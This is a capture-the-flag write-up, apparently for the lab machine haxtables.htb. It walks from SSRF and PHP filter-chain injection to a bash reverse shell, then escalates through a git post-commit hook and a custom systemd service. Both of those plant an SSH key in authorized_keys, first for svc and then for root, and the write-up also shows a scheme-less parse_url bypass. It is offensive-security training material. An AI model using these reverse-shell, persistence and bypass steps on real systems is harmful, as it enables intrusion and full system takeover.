{"data":"0xdf was here","action":"md5","uri_path":"@"}

Rather than sending to api.haxtables.htb, it’s hit my server. The Authorization header has base64 data that decodes to that userinfo:

oxdf@hacky$ echo "YXBpLmhheHRhYmxlcy5odGI6" | base64 -d



It used to be that to take an local file include (LFI) to remote code execution (RCE), you needed to get malicious PHP code into a file on the server somewhere, by abusing an unsafe file upload or something like log poisoning.

Then came PHP filter injection, explained in detail in this Synacktiv post, perhaps first published in this CTF writeup. I went into this technique in the Beyond Root for UpDown and made this video showing it in detail:

The summary is that by stacking many PHP filters encoding and re-encoding a temporary empty file over and over, eventually I can actually add legit PHP that gets included and executed.


This repo has a Python script to generate the filters necessary to inject PHP code into a page. To test, I’ll try to generate a PHP filters to run phpinfo():

oxdf@hacky$ python php_filter_chain_generator.py --chain '<?php phpinfo(); ?>  '
[+] The following gadget chain will generate the following code : <?php phpinfo(); ?>   (base64 value: PD9waHAgcGhwaW5mbygpOyA/PiAg)

I’m going to use the SSRF to hit image.haxtables.htb/actions/action_handler.php with a page parameter of the filters above. /index.php will be appended to the end, but that doesn’t matter, as php://temp/index.php will be a valid PHP temp file.

When I put this into Repeater, it works:

image-20230412095538974Click for full size image


I’ll generate another filter chain, this time with a Bash reverse shell:

oxdf@hacky$ python php_filter_chain_generator.py --chain '<?php system("bash -c \"bash -i >& /dev/tcp/ 0>&1 \""); ?>'
[+] The following gadget chain will generate the following code : <?php system("bash -c \"bash -i >& /dev/tcp/ 0>&1 \""); ?> (base64 value: PD9waHAgc3lzdGVtKCJiYXNoIC1jIFwiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzQ0MyAwPiYxIFwiIik7ID8+)

I’ll replace the filters in Repeater, and start nc listening. On sending, I get a shell as www-data:

oxdf@hacky$ nc -lnvp 443
Listening on 443
Connection received on 35760
bash: cannot set terminal process group (800): Inappropriate ioctl for device
bash: no job control in this shell

I’ll upgrade the shell with the script / stty trick:

www-data@encoding:~/image/actions$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
sh: 0: getcwd() failed: No such file or directory
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
www-data@encoding:$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset: unknown terminal type unknown
Terminal type? screen

Shell as svc



I noticed that the website was running sudo to run git commands in the script. That is visible with sudo -l:

www-data@encoding:$ sudo -l      
Matching Defaults entries for www-data on encoding:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User www-data may run the following commands on encoding:
    (svc) NOPASSWD: /var/www/image/scripts/git-commit.sh

git-commit.sh checks for files that different from the previous commit. If there are files, it adds them. If not, it commits the current changes.


u=$(/usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image ls-files  -o --exclude-standard)

if [[ $u ]]; then
        /usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image add -A
        /usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image commit -m "Commited from API!" --author="james <james@haxtables.htb>"  --no-verify

Writable Location

Within the image directory, the only place I can write is in the .git folder. At first it looks like I www-data wouldn’t be able to write:

www-data@encoding:~/image$ ls -ld .git/
drwxrwxr-x+ 8 svc svc 4096 Apr 12 15:21 .git/

The + means there are extended attributes:

www-data@encoding:~/image$ getfacl .git/
# file: .git/
# owner: svc
# group: svc

www-data has read, write, and execute. There’s no where else in image that www-data can write:

www-data@encoding:~/image$ find . -path ./.git -prune -o -writable -print



With write access to the .git folder, I have access to mess with a lot of configuration for the repo. With the sudo configuration, I can add and commit files to the repo. There are probably many ways to get execution from this setup.

One way is to use a post-commit hook, which is a script that runs when files are committed. To commit, I’ll need modified files. Typically files are only added to the repo from within the directory containing the .git directory (and any subfolders). I’ll modify git to allow files from other locations, and then trigger the commit using the script.

Add Hook

This echo line pipped into tee will write a bash script to .git/hooks/post-commit:

www-data@encoding:~/image$ echo -e 'mkdir -p /home/svc/.ssh\necho "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing" >> /home/svc/.ssh/authorized_keys\nchmod 600 /home/svc/.ssh/authorized_keys' | tee .git/hooks/post-commit        
mkdir -p /home/svc/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing" >> /home/svc/.ssh/authorized_keys
chmod 600 /home/svc/.ssh/authorized_keys
www-data@encoding:~/image$ chmod +x .git/hooks/post-commit

I’ll also set it executable. This script writes a public SSH key into svc’s authorized_keys file.

Make Changes

In order to commit, I’ll need to have some changes in the repo. Changes in the .git folder do not count, as that’s metadata about the repo.

www-data@encoding:~/image$ git status
On branch master
nothing to commit, working tree clean

The --work-tree argument allows me to specify a directory to consider part of the repo. I’ll add /etc/hostname:

www-data@encoding:~/image$ git --work-tree /etc/ add /etc/hostname 
www-data@encoding:~/image$ git status
On branch master
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
        new file:   hostname

Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        deleted:    hostname

Not it shows up as new and deleted (which is a bit weird, but I’m doing weird things with git).


sudo and the script will commit to the repo now since there are changes to be committed.

www-data@encoding:~/image$ sudo -u svc /var/www/image/scripts/git-commit.sh
[master b40dd01] Commited from API!
 1 file changed, 1 insertion(+)
 create mode 100644 hostname

It works, and I can SSH as svc:

oxdf@hacky$ ssh -i ~/keys/ed25519_gen svc@haxtables.htb
Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-58-generic x86_64)

And get the user flag:

svc@encoding:~$ cat user.txt

There’s also a SSH key in the user’s home directory which I can grab for future use (if I overwrite the previous authorized_keys I’ll need to re-add id_rsa.pub):

svc@encoding:~/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub  known_hosts

Shell as root



svc can run restart services as root using systemctl:

svc@encoding:~$ sudo -l
Matching Defaults entries for svc on encoding:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on encoding:
    (root) NOPASSWD: /usr/bin/systemctl restart *


Services are defined in files in /etc/systemd:

svc@encoding:/etc/systemd$ ls
journald.conf  logind.conf  network  networkd.conf  pstore.conf  resolved.conf  sleep.conf  system  system.conf  timesyncd.conf  user  user.conf

svc can’t write directly in systemd:

svc@encoding:/etc/systemd$ ls
journald.conf  logind.conf  network  networkd.conf  pstore.conf  resolved.conf  sleep.conf  system  system.conf  timesyncd.conf  user  user.conf

Nor in the subfolders, except system has extended attributes:

svc@encoding:/etc/systemd$ ls -l
total 48
-rw-r--r--   1 root root 1282 Apr  7  2022 journald.conf
-rw-r--r--   1 root root 1374 Apr  7  2022 logind.conf
drwxr-xr-x   2 root root 4096 Apr  7  2022 network
-rw-r--r--   1 root root  846 Mar 11  2022 networkd.conf
-rw-r--r--   1 root root  670 Mar 11  2022 pstore.conf
-rw-r--r--   1 root root 1406 Apr  7  2022 resolved.conf
-rw-r--r--   1 root root  931 Mar 11  2022 sleep.conf
drwxrwxr-x+ 22 root root 4096 Apr 12 15:21 system
-rw-r--r--   1 root root 1993 Apr  7  2022 system.conf
-rw-r--r--   1 root root  748 Apr  7  2022 timesyncd.conf
drwxr-xr-x   4 root root 4096 Jan 13 12:47 user
-rw-r--r--   1 root root 1394 Apr  7  2022 user.conf

svc can’t read, but can write to system:

svc@encoding:/etc/systemd$ getfacl system
# file: system
# owner: root
# group: root

As www-data can, I can still see what’s in this directory:

www-data@encoding:/etc/systemd/system$ ls
cloud-final.service.wants                   display-manager.service.wants  multi-user.target.wants         rescue.target.wants     snap-snapd-17336.mount            sshd-keygen@.service.d
cloud-init.target.wants                     emergency.target.wants         multipath-tools.service         sleep.target.wants      snap.lxd.activate.service         sshd.service
dbus-org.freedesktop.ModemManager1.service  final.target.wants             network-online.target.wants     snap-core20-1634.mount  snap.lxd.daemon.service           sudo.service
dbus-org.freedesktop.resolve1.service       getty.target.wants             oem-config.service.wants        snap-core20-1695.mount  snap.lxd.daemon.unix.socket       sysinit.target.wants
dbus-org.freedesktop.thermald.service       graphical.target.wants         open-vm-tools.service.requires  snap-lxd-22923.mount    snap.lxd.user-daemon.service      syslog.service
dbus-org.freedesktop.timesync1.service      iscsi.service                  paths.target.wants              snap-lxd-23541.mount    snap.lxd.user-daemon.unix.socket  timers.target.wants
default.target.wants                        mdmonitor.service.wants        pm2-root.service                snap-snapd-16010.mount  sockets.target.wants              vmtoolsd.service


The .wants files define which services the service relies on so that it can start in the right order on boot. The .service files define a service. For example, pm2-root.service:

Description=PM2 process manager


ExecStart=/usr/local/lib/node_modules/pm2/bin/pm2 resurrect
ExecReload=/usr/local/lib/node_modules/pm2/bin/pm2 reload all
ExecStop=/usr/local/lib/node_modules/pm2/bin/pm2 kill


It sets up the user, the environment, and the commands that run on start, reload, and stop.


svc can edit files like pm2-root.service, but that risks taking down the webserver for the box. I’ll make my own. ChatGPT will give me a quick template:

image-20230412125943657Click for full size image

I’ll use vim as svc to write the service:

svc@encoding:/etc/systemd$ vim system/0xdf.service

As www-data I’ll verify it’s correct:

www-data@encoding:/etc/systemd/system$ cat 0xdf.service 
Description=0xdf command service



/tmp/0xdf will look very similar to the git hook from earlier:


mkdir -p /root/.ssh
chmod 700 /root/.ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing' > /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
touch /tmp/script_ran

And I’ll make sure to chmod +x /tmp/0xdf.

Now I’ll restart the service, and script_ran is now present on the box:

svc@encoding:/etc/systemd$ sudo systemctl restart 0xdf
svc@encoding:/etc/systemd$ ls -l /tmp/script_ran 
-rw-r--r-- 1 root root 0 Apr 12 17:19 /tmp/script_ran

That’s a good indication that the script executed as root.

SSH works as well:

oxdf@hacky$ ssh -i ~/keys/ed25519_gen root@haxtables.htb
Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-58-generic x86_64)

And I can get root.txt:

root@encoding:~# cat root.txt

Beyond Root


When I was talking to IppSec about how I solved this, he was surprised I used handler.php to get the SSRF working. “Why didn’t you just use the file_url argument in /v3/tools/string/index.php?” he asked.

But I tried that above! It didn’t work. On comparing notes, the difference was this: my URL started with http://, and his didn’t!


I’ll play around with this in this video):

The summary is that PHP’s parse_url function, despite it’s claim that “Partial and invalid URLs are also accepted, parse_url() tries its best to parse them correctly”, fails when the scheme is missing entirely, and returns nothing:

php > echo parse_url('http://image.haxtables.htb', PHP_URL_HOST);
php > echo parse_url('image.haxtables.htb', PHP_URL_HOST);
php > 

That means that this check works as expected with http://image.haxtables.htb, but is bypassed when given image.haxtables.htb:

    $domain = parse_url($url, PHP_URL_HOST);
    if (gethostbyname($domain) === "") {
        jsonify(["message" => "Unacceptable URL"]);